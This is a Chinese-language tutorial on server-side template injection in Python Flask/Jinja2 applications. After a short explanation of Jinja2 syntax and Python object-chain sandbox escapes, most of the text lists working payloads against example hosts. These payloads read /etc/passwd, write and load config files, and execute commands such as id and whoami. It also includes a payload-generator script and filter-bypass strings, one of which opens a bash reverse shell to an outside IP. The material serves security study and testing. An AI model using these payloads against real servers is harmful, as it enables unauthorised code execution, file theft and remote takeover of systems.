python-flask-ssti(模版注入漏洞)

SSTI(Server-Side Template Injection) 服务端模板注入
，就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板，Web应用可以把输入转换成特定的HTML文件或者email格式

输出无过滤就注定会存在xss，当然还有更多深层次的漏洞。

前置知识

1.运行一个一个最小的 Flask 应用

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host='0.0.0.0')

2.jinja2

　jinja2是Flask作者开发的一个模板系统，起初是仿django模板的一个模板引擎，为Flask提供模板支持，由于其灵活，快速和安全等优点被广泛使用。

在jinja2中，存在三种语：

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

jinja2模板中使用 {{ }} 语法表示一个变量，它是一种特殊的占位符。当利用jinja2进行渲染的时候，它会把这些特殊的占位符进行填充/替换，jinja2支持python中所有的Python数据类型比如列表、字段、对象等

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

1.ssti漏洞的检测

发送类似下面的payload，不同模板语法有一些差异

smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49

检测到模板注入漏洞后，需要准确识别模板引擎的类型。神器Burpsuite 自带检测功能，并对不同模板接受的 payload 做了一个分类，并以此快速判断模板引擎：

2.漏洞利用

1.payload原理

Jinja2 模板中可以访问一些 Python 内置变量，如[] {} 等，并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸

1.1 python沙盒逃逸-python2

python的内敛函数真是强大，可以调用一切函数做自己想做的事情

__builtins__
__import__

在python的object类中集成了很多的基础函数，我们想要调用的时候也是需要用object去操作的，这是两种创建object的方法

Python中一些常见的特殊方法：

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

现在我们的思路就是从一个内置变量调用__class__.__base__等隐藏属性，去找到一个函数，然后调用其__globals__['builtins']即可调用eval等执行任意代码。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]

builtins即是引用，Python程序一旦启动，它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入，它在任何模块都直接可见，所以这里直接调用引用的模块

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载，这时他们并不是function，不具有__globals__属性

#再换几个子类，很快就能找到一个重载过__init__的类，比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

安全研究员给出的几个常见Payload

python2

文件读取和写入

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

每次执行都要先写然后编译执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

写入一次即可

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}    

不回显的

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

任意执行只需要一条指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入，但是如果直接进入python2打这个poc，会报错，用下面这个就不会，可能是python启动会加载了某些模块)  
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read()，需要导入os模块)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块，直接从别的模块调用)

总结:
通过某种类型(字符串:""，list:[]，int：1)开始引出，__class__找到当前类，__mro__或者__base__找到__object__，前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的，能执行，但是不会回显。一般来说，python2的话用file就行，python3则没有这个属性。 

python3

因为python3没有file了，所以用的是open

#文件读取
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}

执行命令

#任意执行
http://192.168.228.36/?name={{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}

#命令执行：
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function，然后组成payload

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:
                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

output

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='_Unframer' %}{{ c.__init__.__globals__['__builtins__'].exec("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval("[evil]") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].open("[evil]") }}{% endif %}{% endfor %}

随便选一个替换我们之前的Payload,会发现成功执行

http://192.168.228.36/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='ImmutableDictMixin' %}{{ c.__hash__.__globals__['__builtins__'].eval('__import__("os").popen("id").read()') }}{% endif %}{% endfor %}

waf绕过

甩几个test payload
有时候看不到回显。可以在源代码里看到回显

python2：
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3：
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

参考连接：

浅析ssti

flask ssti原理

flask中文文档

jinja2学习

python2与python3

ssti